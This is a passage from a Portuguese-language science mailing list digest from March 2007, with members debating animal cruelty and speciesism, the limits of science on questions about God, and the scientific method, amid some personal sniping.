>>chegaremos à causa última de nossa existência.
>>
>
> A teoria mais aceita é a do "big bang". Antes disso, teoricamente, nada. O
> universo pode ser tão simples que poderemos, um dia, entendê-lo
> completamente, ou não.
>
>>
>>Em minha opinião, a melhor resposta de um cientista ou simpatizante,
>>quando
>>questionado sobre a existência de deus, é a seguinte: "Nunca vi evidência
>>da
>>existência nem da não-existência de deus, portando NÃO TENHO CONDIÇÕES
>>DE AFIRMAR SE EXISTE OU NÃO." E essa resposta delega a decisão somente
>>à fé, que em minha opinião nada tem que ver com ciência.
>>
>
> Muito sensato. Também penso assim e creio que quase todo mundo aqui
> também.
>
> O problema desta discussão é que o Sr. Ferrari diz saber a "verdade" e que
> esta não é científica. Só que a ÚNICA MANEIRA de nós tentarmos entender as
> coisas é através da ciência, qualquer outra coisa é viagem. É viagem
> porque
> quem tem alguma "explicação" não-científica, este mesmo não pode
> entendê-la.
> Só conseguimos entender, realmente, algo que tenha lógica.
>
> Mas, como dissemos, a ciência é limitada na capacidade do nosso cérebro,
> no
> que conseguimos entender. Nos parece, até o momento, que o universo tem
> uma
> lógica que entendemos e, por isso, cremos que um dia o decifraremos por
> completo. Mas isso pode não ser verdade e, talvez, nunca conseguiremos
> entender a realidade. Como já lí em algum lugar, estamos como leigos
> assistindo um jogo de xadrez, observando os movimentos das peças e
> tentando
> decifrar a regra geral do jogo. Escrevemos teorias que descrever todos os
> movimentos até que aparece um "roque" e estraga tudo :-)
>
> []´,s
> Jeff



SUBJECT: Re: [ciencialist] [RN] OS DEZ MELHORES LIVROS DE E SOBRE CIENCIAS
FROM: "Luiz Ferraz Netto" <leobarretos@uol.com.br>
TO: <ciencialist@yahoogrupos.com.br>
DATE: 22/03/2007 12:12

Takata finaliza com:

"Como todas as listas, há injustiçados."

Por gentileza Ferrari, não vista a carapuça! Roberto não está se referindo à nossa C-List.
grato,
[]'
===========================
Luiz Ferraz Netto [Léo]
leobarretos@uol.com.br
http://www.feiradeciencias.com.br/doacoes.asp
===========================
-----Mensagem Original-----
De: "rmtakata" <roberto.takata@bol.com.br>
Para: <ciencialist@yahoogrupos.com.br>
Enviada em: quarta-feira, 21 de março de 2007 23:12
Assunto: [ciencialist] [RN] OS DEZ MELHORES LIVROS DE E SOBRE CIENCIAS


BLOG LINGUA FRANCA, 10-02-2007

René Daniel Decol

"Os dez melhores livros de ciência
[ ... ]
Basta lembra desta cena inicial de Vida de Galileu (leia a seguir).
Nela, Brecht faz um empolgante discurso a favor das luzes, da ciência
e do conhecimento, contra a escuridão e as trevas."
http://caiotulio.blogspot.com/2007_02_01_archive.html#7808294211426055573
-------------
Como todas as listas, há injustiçados.


[]s,

Roberto Takata






SUBJECT: Re: [ciencialist] Re: P/ Victor - Crueldade com animais
FROM: Bruna Carolina Ribas <brunacribas@yahoo.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 22/03/2007 12:37

Grupos que se dizem em defesa dos animais e que defendem esse tipo de posição, na verdade esquecem, do maior direito dos animais; que é sua própria vida.

O principal motivo é evitar o cativeiro.Se o homem não tivesse criado zoológico, não existiria cativeiro.O que se deve atacar é o cerne da questão.

Matar é sempre um dano.
Seria antiético a eutanásia de uma animal saudável, como fazem com os animais de rua abandonados em grande parte dos municípios.

A compaixão não fica, nem sequer foi lembrada.

Da mesma forma, matar esse animal continuaria sendo uma crueldade.

Esse grupo de pessoas não falam por mim, Victor, não jogue ainda o bebê com a água do banho...

um abraço,
da Bruna





Victor <jvoneto@uol.com.br> escreveu: Murilo/Bruna,

Recentemente, a mídia mostrou o drama de um ursinho branco, lindo e dócil, que foi rejeitado pela mãe. Do ursinho... Pois bem, informam que o animal está sendo cuidado por humanos, no zoo, quanto às necessidades básicas, indispensáveis às crianças. Mas vêm os protetores de animais e se dizem preocupados e elencam um conjunto de motivos pelos quais o ursinho deva ser sacrificado! O ursinho deverá ser sacrificado!. Dentro do espírito do que está sendo defendido, de maneira denodada, em duas threads já bastante compridas, neste fórum, quais as respostas para as questões abaixo?

1 - Os motivos alegados justificam o "sacrifício"?
2 - Onde fica a ética, nesse caso?
3 - Onde fica a "campaixão" nesse caso" ( Lembrar que nem estamos numa tribo medieval, ou de costumes "diferentes").
4- Afinal, em considerando o fato ora posto a descoberto, como fica agora o conceito "Crueldade com os animais" ?

Então, o simples fato de acharem que o animalzinho terá dificuldades de se adaptar, que não poderá relacionar-se com outros animais da mesma espécie( o que é discutível, altamente discutível) é uma justificativa séria, ética e não cruel, segundo esses grupos !

E então?

Sds,
Victor.

-----





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[As partes desta mensagem que não continham texto foram removidas]



SUBJECT: Re: [ciencialist] Re: P/ Murilo - Crueldade com animais
FROM: Bruna Carolina Ribas <brunacribas@yahoo.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 22/03/2007 13:07

Murilo, entenda, o Homero é especista, só isso.
E na tentativa de ridicularizar, adora esses dilemas:
um cão ou uma criança?
um rato ou uma vaca?
ou como o Takata: um homem ou 200 vacas?
Queria ver se eu ficasse enchendo a caixa de e-mails deles com dilemas do tipo:
seu pai ou sua mãe?
sua mulher ou sua amante?
sua sogra ou seu cachorro?

Me poupem...



oraculo333 <oraculo@atibaia.com.br> escreveu: Olá Murilo

Murilo: "Não foi a primeira vez, mas com certeza foi a última...
> Vc provocou e fugiu do pau.
> A partir de hoje, não leio vc suas pataquadas, mesmo dirigindo-se a
mim."

Desculpe, mas não tinha o que dizer, ou responder. Você apenas estava
"puxando briga" e não querendo um debate ou mesmo discussão lógica. Eu
respondi, quando achei que devia, toda mensagem sua (ou de quem seja,
sou um cara educado..:-), mas o que esperava que eu respondesse nesse
caso?

Se lesse minhas mensagens anteriores, para a Bruna por exemplo,
entenderia seu erro quanto ao que defendo. Nunca disse que não devemos
ter compaixão, mas sim que é preciso pensar sobre em que ponto colocar
a linha limite da compaixão (ratos ou coelhos, pessoas ou vacas).

Tenho enorme compaixão por cães, mas não exitaria em atropelar um
deles para evitar atropelar uma criança, você não?

Veja:

Murilo: "*Não é só* porque a lei da sobrevivência neste planeta manda
que uns morram para que outros vivam, num ciclo onde há lugar e vez
para todos, em que as espécies sobrevivem e os indivíduos passam, que
não deve haver emoção e sentimentos empáticos. ( isso responde
bastante do que vc quer saber. )"

Eu nunca disse algo REMOTAMENTE parecido com isso, Murilo, pode
perguntar ao resto da lista..:-). Nem é algo que "eu quero saber",
pois nunca disse nada disso.

Mais uma vez, entre salvar uma pessoa e 200 vacas, quem você salvaria,
Murilo?

Resumindo, penso que queria apenas puxar briga, por isso não respondi
a sua mensagem. Se não era isso, peço desculpas, e peço que explique
melhor o que deseja dizer ou argumentar, porque não pude entender.

Um abraço.

Homero

--- Em ciencialist@yahoogrupos.com.br, "murilo filo"
<avalanchedrive@...> escreveu
>
> Horáculo...
> Não foi a primeira vez, mas com certeza foi a última...
> Vc provocou e fugiu do pau.
> A partir de hoje, não leio vc suas pataquadas, mesmo dirigindo-se a mim.
> M. SP 21/março/2007
>
>
> >From: "murilo filo" <avalanchedrive@...>
> >Reply-To: ciencialist@yahoogrupos.com.br
> >To: ciencialist@yahoogrupos.com.br
> >Subject: RE: [ciencialist] Re: P/ Oraculo - Crueldade com animais
> >Date: Mon, 19 Mar 2007 22:56:11 -0300
> >
> >( + 1 tentativa p/o Horáculo dizer alguma coisa, mesmo espremido.)
> >
> >
> > >To: ciencialist@yahoogrupos.com.br
> > >Subject: RE: [ciencialist] Re: P/ Oraculo - Crueldade com animais
> > >Date: Sun, 18 Mar 2007 20:44:03 -0300
> > >
> > >Sim, Oráculo,
> > >vc já foi melhor.
> > >
> > >Compaixão e empatia é assim: vc tem ou não tem. Se não tem, fica
difícil
> > >entender.
> > >A lombriga e os ratos, os bodes, papagaios, leões, virus, ninguém tem
> > >compaixão... no máximo alguma solidariedade perante algum filhote
> >indefeso.
> > >
> > >Os seres humanos sim, COSTUMAM TER, e isso é AQUELE diferencial
entre nós
> >e
> > >as feras; e que deveria ser conservado e cultivado.
> > >
> > >*Não é só* porque a lei da sobrevivência neste planeta manda que uns
> >morram
> > >para que outros vivam, num ciclo onde há lugar e vez para todos,
em que
> >as
> > >espécies sobrevivem e os indivíduos passam, que não deve haver
emoção e
> > >sentimentos empáticos. ( isso responde bastante do que vc quer
saber. )
> > >
> > >Se eu tivesse nas mãos um produto para *erradicar* os ratos dos
esgotos,
> >ou
> > >as lombrigas e seus ovos de todas as bundas, fezes e águas, esteja
> >seguro,
> > >eu não o usaria, mesmo sendo eu o mais forte.
> > >
> > >E se eu fosse um político, que usa as pessoas e suas vidas como
matéria
> > >prima e massa de manobra, o que eu faria com as lombrigas, se
tivesse o
> > >hipotético produto? Logicamente, como político, se houvesse algum
> >proveito
> > >próprio, arrogantemente eu mataria qualquer coisa p/sempre.
> > >
> > >Mas acontece que BÁSICA e estruturalmente a cabeça da Bruna é a
mesma do
> > >político fera, ou qualquer outro brutal que anda por aí.
> > >
> > >A cabeça e a consciência da Bruna é que são muito mais depuradas,
mais
> > >elevadas e mais evoluídas, e isso deve ser cultivado e admirado, pq
> > >trata-se
> > >do seu diferencial perante as feras.
> > >
> > >Mesmo que a Bruna saiba, E SABE, que é impossível NÃO MATAR no
planeta,
> >ela
> > >busca uma solução, e este impulso de busca é o começo de qualquer
> >solução.
> > >TALVEZ ela mesma não tenha avaliado como é que surgem estas
coisas em sua
> > >mente benevolente, mas que é algo muito refinado, não há como negar.
> > >
> > >A matança vai continuar... nosso cérebro é energia pura... nossa
saúde
> >está
> > >cada vez melhor, mas graças às Brunas já existe UMA CONSCIÊNCIA
de que
> > >devemos matar apenas *o suficiente*, ou o *menos possível*.
> > >
> > >Ainda é querer muito de uma humanidade que também mata a sí
mesma, mas já
> > >podemos entender que NÃO se trata de algo impossível.
> > >abr/Murilo SP 18/març07
> > >
> > > >From: "oraculo333" <oraculo@...>
> > > >Reply-To: ciencialist@yahoogrupos.com.br
> > > >To: ciencialist@yahoogrupos.com.br
> > > >Subject: [ciencialist] Re: P/ Murilo - Crueldade com animais
> > > >Date: Sun, 18 Mar 2007 01:36:53 -0000
> > > >
> > > >Olá Murilo
> > > >
> > > >Murilo: "Caramba, Horáculo...
> > > >Vc já foi melhor! Frente à realidade estabelecida há milhões de
anos,
> > > >ela só está falando de algo denominado de ''empatia'', ou
> >''compaixão''."
> > > >
> > > >Bem, eu tenho um bocado de empatia e compaixão..:-) Mas realmente
> > > >quero saber é em que ponto devemos colocar a linha que divide a
> > > >aplicação concreta dessa compaixão.
> > > >
> > > >Por exemplo, a compaixão por um lindo coelhinho deve ser a mesma
> > > >daquela que devemos ter por um rato? Ou uma barata? Ou lombrigas?
> > > >
> > > >Em algum momento, sob pena de tornar o argumento absurdo, temos de
> > > >relativizar essa compaixão, não?
> > > >
> > > >Agora, o que a realidade de milhões de anos tem a ver com esta
> > > >questão? Também não é uma pergunta retórica, eu realmente
queria saber
> > > >sua resposta sobre isso.
> > > >
> > > >Por exemplo, as doenças se desenvolvem e evoluem há milhões de
anos, e
> > > >nenhum dos seres vivos que as causam tem a menor compaixão ou
mesmo a
> > > >menor idéia do que isso seja.
> > > >
> > > >Um abraço.
> > > >
> > > >Homero
> > > >
> > > >
> > > >
> > > >
> > > >
> > > >--- Em ciencialist@yahoogrupos.com.br, "murilo filo"
> > > ><avalanchedrive@> escreveu
> > > > >
> > > > > Caramba, Horáculo...
> > > > > Vc já foi melhor!
> > > > > Frente à realidade estabelecida há milhões de anos, ela só está
> > > >falando de
> > > > > algo denominado de ''empatia'', ou ''compaixão''.
> > > > > abr/M.
> > > > >
> > > > >
> > > > > >From: "oraculo333" <oraculo@>
> > > > > >Reply-To: ciencialist@yahoogrupos.com.br
> > > > > >To: ciencialist@yahoogrupos.com.br
> > > > > >Subject: [ciencialist] P/ Bruna - Crueldade com animais
> > > > > >Date: Sat, 17 Mar 2007 19:36:14 -0000
> > > > > >
> > > > > >Olá Bruna
> > > > > >
> > > > > >Bruna: "A ética universal está na razão de darmos a mesma a
> > > > > >consideração ao sofrimento de outros seres como damos ao nosso
> > >próprio
> > > > > >sofrimento, independente da espécie, do sexo e das habilidades
> > > > > >intelectuais."
> > > > > >
> > > > > >Primeiro, permita-me perguntar, Por que? Por que é assim? E
se eu
> >não
> > > > > >acreditar em você, como pretende provar que é assim? Ou é
apenas
> >uma
> > > > > >questão de crença, devemos acreditar em você e pronto?
> > > > > >
> > > > > >Quer dizer, de onde tirou tal informação, que é uma das mais
> > > > > >importantes e mais polêmicas da filosofia, a existência ou
não de
> >uma
> > > > > >ética universal? Como só você encontrou a resposta, que tem
> >dividido
> > >e
> > > > > >assombrado filósofos por séculos?
> > > > > >
> > > > > >Seria interessante saber como chegou a essa conclusão, o que a
> > >embasa,
> > > > > >quais as evidências, etc. Poderia resolver grandes problemas
> > > > > >filosóficos do ser humano.
> > > > > >
> > > > > >Em segundo, fiquei curioso com este trecho em especial, em
relação
> >a
> > > > > >parte prática, a forma de aplicar esse, generoso, princípio:
> > > > > >
> > > > > >Bruna: "independente da espécie, do sexo e das habilidades
> > > >intelectuais."
> > > > > >
> > > > > >Todos os seres vivos, independente da espécie? E das
habilidades
> > > > > >intelectuais? Por exemplo, baratas estão incluídas, e
devemos agir
> > > > > >pensando em sua "dor"? E Streptococcus, que causam pneumonia?
> > > > > >
> > > > > >E animais selvagens, devemos destruir todas as cidades,
para que
> > > > > >possam voltar a habitar seus ambientes originais?
> > > > > >
> > > > > >E ratos, devemos impedir que sejam mortos nas cidades,
pensando em
> > >sua
> > > > > >"dor"?
> > > > > >
> > > > > >Se eu tiver uma infecção de pele, devo evitar de aplicar
remédios
> >que
> > > > > >causem a morte dos micro-organismos que habitam ali? Se pegar
> > > > > >lombrigas, não posso tomar remédios que causem dor e morte
a elas?
> >As
> > > > > >pessoas que vivem em áreas da África assoladas por doenças como
> > > > > >elefantíase, não podem aplicar as drogas que matam as moscas
> > > > > >transmissoras?
> > > > > >
> > > > > >Por favor, não é uma pergunta retórica ou uma armadilha, eu
> >realmente
> > > > > >quero saber como pretende aplicar sua alegação a casos
concretos,
> >já
> > > > > >que não há nela nenhuma limitação ou forma de decidir a
linha de
> > > >"corte".
> > > > > >
> > > > > >Se considerarmos a dor de TODOS os seres vivos,
independentemente
> >de
> > > > > >qualquer outra coisa, espécie ou capacidade intelectual,
como devo
> > > > > >agir nos casos concretos que citei?
> > > > > >
> > > > > >Um abraço.
> > > > > >
> > > > > >Homero
> > > > > >
> > > > > >
> > > > > >--- Em ciencialist@yahoogrupos.com.br, Bruna Carolina Ribas
> > > > > ><brunacribas@> escreveu
> > > > > > >
> > > > > > > A ética universal está na razão de darmos a mesma a
consideração
> > >ao
> > > > > >sofrimento de outros seres como damos ao nosso próprio
sofrimento,
> > > > > > > independente da espécie, do sexo e das habilidades
intelectuais.
> > > > > > >
> > > > > > > Abraços,
> > > > > > >
> > > > > > > da Bruna
> > > > > > >
> > > > > > >
> > > > > > > José Renato <jrma@> escreveu:
> > > > > >Chicão, sou-lhe grato pela troca de idéias. Mas vale
perguntar:
> >como
> > > > > >vamos
> > > > > > > achar a ética universal se não a procurarmos? Parece-me
que a
> > > > > >questão está
> > > > > > > muito menos em encontrá-la, do que na força necessária para
> > > > > >considerá-la e
> > > > > > > praticá-la. Estamos esgotados por tantas solicitações
que não
> >nos
> > > > > >sobra
> > > > > > > energia para sermos o que dizemos ser: homo
sapiens-sapiens.
> > > > > > > []s
> > > > > > > José Renato
> > > > > > > .............................................
> > > > > > >
> > > > > > > From: "Chicao Valadares" <chicaovaladares@To:
> > > > > > > <ciencialist@yahoogrupos.com.br>
> > > > > > > Sent: Monday, March 12, 2007 12:07 PM
> > > > > > > Subject: Re: Fw: [ciencialist] Crueldade com animais
> > > > > > >
> > > > > > > > JR vou parar por aqui. Enquanto não acharmos a ética
> > > > > > > > universal vamos ficar apenas nos achismos e no plano
> > > > > > > > da retórica. Foi proveitosa toda essa polêmica. Essa
> > > > > > > > história de escolha lembra aquele velho dilema entre
> > > > > > > > determinismo e acaso. Mas isso fica pra um outro
> > > > > > > > debate....
> > > > > > > >
> > > > > > > > Abraços.
> > > > > > > >
> > > > > > > > --- José Renato <jrma@> escreveu:
> > > > > > > >
> > > > > > > >> Olá, Chicão! Essa é uma questão de escolha... A
> > > > > > > >> nossa vida é construída,
> > > > > > > >> destruída ou mantida por permanentes escolhas que
> > > > > > > >> fazemos e pelas decisões
> > > > > > > >> que tomamos. Encontrar as melhores decisões e
> > > > > > > >> escolhas para cada situação é
> > > > > > > >> a pedra de toque que os sábios buscam há tempos.
> > > > > > > >> Como elas são praticamente
> > > > > > > >> infinitas alguns roteiros básicos são copilados para
> > > > > > > >> orientações gerais. Mas
> > > > > > > >> no particular, cada um vai ter de optar, escolher e
> > > > > > > >> decidir. Ou deixar que
> > > > > > > >> decidam por nós.
> > > > > > > >> Faço outros comentários no corpo do e-mail, após
> > > > > > > >> JR2, OK?
> > > > > > > >> ..............................................
> > > > > > > >> From: "Chicao Valadares" <chicaovaladares@To:
> > > > > > > >> <ciencialist@yahoogrupos.com.br>
> > > > > > > >> Sent: Thursday, March 08, 2007 4:22 PM
> > > > > > > >> Subject: Re: Fw: [ciencialist] Crueldade com animais
> > > > > > > >>
> > > > > > > >>
> > > > > > > >> > JR, minhas respostas seguem depois do ">>>>>".
> > > > > > > >> >
> > > > > > > >> > JR1 - Dor e prazer são sinais sensíveis relativos.
> > > > > > > >> O
> > > > > > > >> > atleta sofre muito durante a preparação para bater
> > > > > > > >> > seus recordes com a intenção de ter o prazer de
> > > > > > > >> > possuir uma medalha de ouro, seu nome nos anais,
> > > > > > > >> > valorização,
> > > > > > > >> > admiração, etc. Dor e prazer não são indicativos
> > > > > > > >> > absolutos. Muitas vezes o prazer de comer uma
> > > > > > > >> caixa de
> > > > > > > >> > chocolate acaba mal. Esse equilíbrio nas atitudes
> > > > > > > >> já
> > > > > > > >> > era perseguido por Sócrates com muito empenho.
> > > > > > > >> Perceba
> > > > > > > >> >
> > > > > > > >> > que buscar a felicidade, a glória e o gozo é o
> > > > > > > >> > objetivo maior e legítimo do ser humano. As
> > > > > > > >> > dificuldades ocorrem quando minha visão é curta e
> > > > > > > >> > atropelo tudo que de bom possuo para obter isso. A
> > > > > > > >> > troca é prejudicial a
> > > > > > > >> > mim e a todos que uso ou despacho para obter a
> > > > > > > >> > felicidade a qualquer custo. Vou postar uma
> > > > > > > >> reflexão
> > > > > > > >> > que fiz sobre isso, provocada há tempos
> > > > > > > >> > pelo Bulcão, na lista Acropolis.
> > > > > > > >> >
> > > > > > > >> >>>>>>Concordo com a relatividade.
> > > > > > > >> >
> > > > > > > >> >
> > > > > > > >> > JR1 - Mas quando o ser humano toma consciência de
> > > > > > > >> sua
> > > > > > > >> > existência passa a buscar viver de verdade, ter um
> > > > > > > >> amor de
> > > > > > > >> > verdade, ser feliz de verdade... Ilusões distraem
> > > > > > > >> e confortam
> > > > > > > >> > durante algum tempo. Mas o bom mesmo é
> > > > > > > >> > a realidade com todas as sua conseqüências.
> > > > > > > >> >
> > > > > > > >> >>>>>>O que é verdade??? A realidade é boa porque dá
> > > > > > > >> > prazer??? Eu posso na MATRIX fazer com que voce
> > > > > > > >> saiba mais
> > > > > > > >> > verdades que uma pessoa comum. Com isso você
> > > > > > > >> pensaria
> > > > > > > >> > que conhece a realidade e seria bom para você.
> > > > > > > >> > Não gostaria de entrar na MATRIX???
> > > > > > > >> JR2 - Parece que o que faço o tempo todo é tentar
> > > > > > > >> sair dela, da geléia geral
> > > > > > > >> em que estamos vivendo, da ilusão manipulada pelos
> > > > > > > >> meios de comunicação
> > > > > > > >> acionados pelos interesses comerciais e políticos.
> > > > > > > >> Viver na realidade ou na
> > > > > > > >> verdade dá mais segurança, harmonia,
> > > > > > > >> tranquilidade... O melhor em tudo é não
> > > > > > > >> confundir o imaginado e o sonhado com a Realidade. É
> > > > > > > >> isso que a Ciência
> > > > > > > >> busca.
> > > > > > > >> >
> > > > > > > >> > JR1 - Viver de mentirinha é o que já faço de
> > > > > > > >> diversas
> > > > > > > >> > maneiras e em diversas ocasiões. Mas os meus
> > > > > > > >> melhores
> > > > > > > >> > momentos da vida vieram através da realidade e da
> > > > > > > >> > lucidez em percebê-la. Nela me realizo.
> > > > > > > >> >
> > > > > > > >> >>>>>>Não gostaria de entrar na MATRIX???
> > > > > > > >> JR2 - De algum modo já estamos nela. O que procuro é
> > > > > > > >> sair dela.
> > > > > > > >> >
> > > > > > > >> > JR1 - É o que todos os "espertos e sabidórios"
> > > > > > > >> > fazem... Quanto a não
> > > > > > > >> > ser punido ou não sentir remorsos não é uma
> > > > > > > >> certeza
> > > > > > > >> > obtida de antemão.
> > > > > > > >> > Quando menos se espera vem a tal crise existencial
> > > > > > > >> e
> > > > > > > >> > aí o cara se
> > > > > > > >> > constata um merda, mentiroso, falso, safado, lixo,
> > > > > > > >> > traidor, etc. e nem sabe
> > > > > > > >> > mais quem ele é de fato no meio de tanta falsidade
> > > > > > > >> e
> > > > > > > >> > mentira.
> > > > > > > >> >
> > > > > > > >> >>>>>>Todas as pessoas não são assim. Existem
> > > > > > > >> aquelas
> > > > > > > >> > que não sentem nenhum remorso em fazer ações
> > > > > > > >> > consideradas más.
> > > > > > > >> JR2 - Alguns sentimentos são inatos. Prejudicar
> > > > > > > >> conscientemente alguém gera
> > > > > > > >> no fundo uma reflexão tipo "e se ele fizesse isso
> > > > > > > >> para mim" que vai geram um
> > > > > > > >> sentimento semelhante ao que chamamos de remorso. Em
> > > > > > > >> estudos dos diversos
> > > > > > > >> órgãos ou componentes do nosso sistema cognitivo
> > > > > > > >> identifica-se regiões onde
> > > > > > > >> estão os "bancos de dados" e procedimentos de
> > > > > > > >> avaliação ética-moral. Célebre
> > > > > > > >> é o caso do trabalhador que sofreu dano no célebro
> > > > > > > >> provocado por um prego
> > > > > > > >> disparado por uma pistola pneumática. Penetrou na
> > > > > > > >> cabeça, mas ele continuou
> > > > > > > >> consciente e aparentemente não prejudicou em nada
> > > > > > > >> seus movimentos e
> > > > > > > >> atividades intelectuais. Após a remoção do prego,
> > > > > > > >> recuperação e volta ao
> > > > > > > >> trabalho, observou-se que o cara estava com um
> > > > > > > >> comportamento diferente,
> > > > > > > >> aético, entrão, imoral, inconveniente... A partir
> > > > > > > >> daí começou-se a fazer
> > > > > > > >> testes mais acurados sobre o funcionamento dessa
> > > > > > > >> região afetada e de outras
> > > > > > > >> regiões do cérebro.
> > > > > > > >> >
> > > > > > > >> > JR1 - Prejudicar, sacanear ou fazer mal a alguém
> > > > > > > >> pode
> > > > > > > >> > dar algum prazer, algum tipo de emoção forte. Os
> > > > > > > >> > cruéis patológicos têm orgasmos ao praticar
> > > > > > > >> violência,
> > > > > > > >> > mas é um distúrbio mental que não me parece grande
> > > > > > > >> > coisa desejar possuir. Quanto à vontade de usar
> > > > > > > >> minha
> > > > > > > >> > experiência de vida para discernir o que é melhor,
> > > > > > > >> o
> > > > > > > >> > que deve ser evitado e o que precisa ser superado,
> > > > > > > >> é
> > > > > > > >> > um exercício diário que requer tempo, coragem e
> > > > > > > >> > reflexão. Cometer os mesmos erros ou o erro dos
> > > > > > > >> outros
> > > > > > > >> > burrice em dobro. Prefiro tentar algo diferente e
> > > > > > > >> que tenha
> > > > > > > >> > alguma chance de obter melhores resultados...
> > > > > > > >> >
> > > > > > > >> >>>>>> E os cruéis não patológicos??? O resto que
> > > > > > > >> você
> > > > > > > >> > disse é relativo.
> > > > > > > >> JR2 - Em sã consciência somos capazes das maiores
> > > > > > > >> crueldades e das maiores
> > > > > > > >> generosidades. Ilude-se quem acha que não é capaz de
> > > > > > > >> fazer alguma ignomínia.
> > > > > > > >> Basta estar na situação adequada para praticá-la. E
> > > > > > > >> como sempre consideramos
> > > > > > > >> algum ponto de referência pode estar certo que não
> > > > > > > >> só o resto como tudo o
> > > > > > > >> mais é relativo a esse ponto. Em geral, procura-se
> > > > > > > >> um ponto ótimo
> > > > > > > >> inatingível como referência ou norte.
> > > > > > > >> >
> > > > > > > >> > JR1 - Mas, Chicão, não é esse objetivo que nos
> > > > > > > >> ilude
> > > > > > > >> > desde sempre? O crime perfeito! E cada vez mais se
> > > > > > > >> > sofistica as formas burlar, de modo a ser à prova
> > > > > > > >> de
> > > > > > > >> > qualquer investigação, até que alguém de dentro do
> > > > > > > >> > esquema se sente enganado e, antes de ser
> > > > > > > >> eliminado,
> > > > > > > >> > denuncia(RJ) ou mesmo o burlador se rende à
> > > > > > > >> > verdade(NSN) ou por vaidade abre o bico(SN,ACM).
> > > > > > > >> >
> > > > > > > >> >>>>>> Isso também não poderá acontecer e as coisas
> > > > > > > >> > ficarem sob segredo.
> > > > > > > >> > Você disse que ser bom era mais vantajoso. Devemos
> > > > > > > >> ser
> > > > > > > >> > bons porque é mais vantajoso??? Isso depende. Ser
> > > > > > > >> mau
> > > > > > > >> > também pode ser vantajoso ao invés de ser bom.
> > > > > > > >> Note
> > > > > > > >> > que o príncipio aqui é o do ganho(teoria dos
> > > > > > > >> jogos).
> > > > > > > >> > Então ambos são duas faces de uma mesma moeda. Por
> > > > > > > >> > esse principio você é igual às siglas. [ ... ]
> > > > > > > >> JR2 - É o jogo do ganha-ganha... É mais vantajoso a
> > > > > > > >> longo prazo quando todos
> > > > > > > >> ganham, e essa possibilidade deve ser considerada e
> > > > > > > >> buscada permanentemente.
> > > > > > > >> No perde-ganha vc não vive em paz. Alguém vai querer
> > > > > > > >> tirar o que vc já
> > > > > > > >> ganhou prejudicando ou não prejudicando outras
> > > > > > > >> pessoas. Esse é o normal na
> > > > > > > >> maioria das nossas comunidades.
> > > > > > > >>
> > > > > > > > === message truncated ===
> > > > > > > >
> > > > > > > >
> > > > > > > > "O Binômio de Newton é tão belo como a Vênus de Milo.
> > > > > > > > O que há é pouca gente para dar por isso... "
> > > > > > > > Fernando Pessoa - Poesias de Alvaro Campos
> > > > > > > >
> > > > > > > >
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> >Date:
> > > > > >12/3/2007
> > > > > > > > 08:41
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SUBJECT: Re: P/ Murilo - Crueldade com animais
FROM: "rmtakata" <roberto.takata@bol.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 22/03/2007 13:40

--- Em ciencialist@yahoogrupos.com.br, Bruna Carolina Ribas
> ou como o Takata: um homem ou 200 vacas?

Como vc NÃO é especicista, isso significa então q vc salvaria 200
vacas em lugar de 1 homem?

> Queria ver se eu ficasse enchendo a caixa de e-mails deles com
> dilemas do tipo:
> seu pai ou sua mãe?
> sua mulher ou sua amante?
> sua sogra ou seu cachorro?

Repare q a situação é bem diferente das duas primeiras situações, já q
envolvem seres da mm espécie. Tb difere da terceira situação já q as
quantidades são diferentes.

Mas eu respondo:
- salvaria minha mãe (ainda q eu tb adore meu pai)
- minha mulher (não teria amante de qq forma)
- minha sogra (mm q fosse uma cobra cascavel)

E vc? 200 vacas ou 1 homem?

[]s,

Roberto Takata



SUBJECT: Re: Jeff : Sobre o Método Cientifico - adinfinitum
FROM: Ferrari <emailferrari@yahoo.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 22/03/2007 15:26

Olá Jeff!

Jeff >>> > Você é um artista, está no lugar errado!
:-)

Jeff, caro companheiro de viagem, uma vez tive a
oportunidade de aprender o seguinte: "se quiser ir pro
céu ajude a limpar o inferno, são o mesmo lugar". E
ai, quer ir pro céu, to precisando de ajuda na viagem.


abraço sincero
ferrari





--- Jeff <jeff@jeff.com.br> escreveu:

> Olá Ferrari,
>
> >
> > Não é incorreta, é diferente. Mas saiba que a sua
> está
> > contida na minha. Ou seja, eu te entendo, embora
> vc
> > não me entenda. E pelo visto, nem quer entender.
> >
>
> Você é um artista, está no lugar errado! :-)
>
> []´,s
> Jeff.
>
>




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SUBJECT: Re: P/ Luiz: Sobre o Método Cientifico - ad infinitum
FROM: Ferrari <emailferrari@yahoo.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 22/03/2007 15:35

Olá Luiz!

Olha seu metodo cientifico em prática:

Luiz Ferraz Netto >>> Olha Ferrari, sorry, nunca li
tantas imbecilidades assim agrupadas.

1) humilhar o adversário com ironias

Luiz Ferraz Netto >>> Vc nos lembra um outro
'listeiro' que, especializado em filosofia de buteco,
só sabia perguntar ... nunca responder!

2) mostrar com isto que sou "o cara"

Luiz Ferraz Netto >>> Chega! desisto!

3) fugir pela tangente.


--- Que mais eu posso dizer?


sinceramente.
ferrari




--- Luiz Ferraz Netto <leobarretos@uol.com.br>
escreveu:

> Olha Ferrari, sorry, nunca li tantas imbecilidades
> assim agrupadas. Vc nos lembra um outro 'listeiro'
> que, especializado em filosofia de buteco, só sabia
> perguntar ... nunca responder!
> Chega! desisto!
> []'
> ===========================
> Luiz Ferraz Netto [Léo]
> leobarretos@uol.com.br
> http://www.feiradeciencias.com.br/doacoes.asp
> ===========================
> -----Mensagem Original-----
> De: "Ferrari" <emailferrari@yahoo.com.br>
> Para: <ciencialist@yahoogrupos.com.br>
> Enviada em: quarta-feira, 21 de março de 2007 15:04
> Assunto: Re: [ciencialist] Re: P/ Luiz: Sobre o
> Método Cientifico - ad infinitum
>
>
> Oi Luiz!
>
> Luiz >>> essas suas respostas são as mais típicas
> respostas das tirinhas de horóscopos, auto-ajuda
> etc.
>
> --- Hehehehe... Luiz, sua lógica de argumentação não
> muda mesmo. Permita-me descreve-la:
>
> 1) humilhar o adversário com ironias
> 2) mostrar com isto que sou "o cara"
> 3) fugir pela tangente.
>
> --- Hehehehehe... Até que vc engana um montão de
> gente
> com isto, vc é até professor. A pergunta fundamental
> aqui é a seguinte: você consegue enganar a si mesmo
> com ela? Não precisa me responder, pois é uma
> resposta
> que não me interressa.
>
> Luiz >>> Quer moleza? Vá tomar sopa de hidrogênio!
>
> --- Hahahahehehehahahehehe... Quer um conselho de
> quem
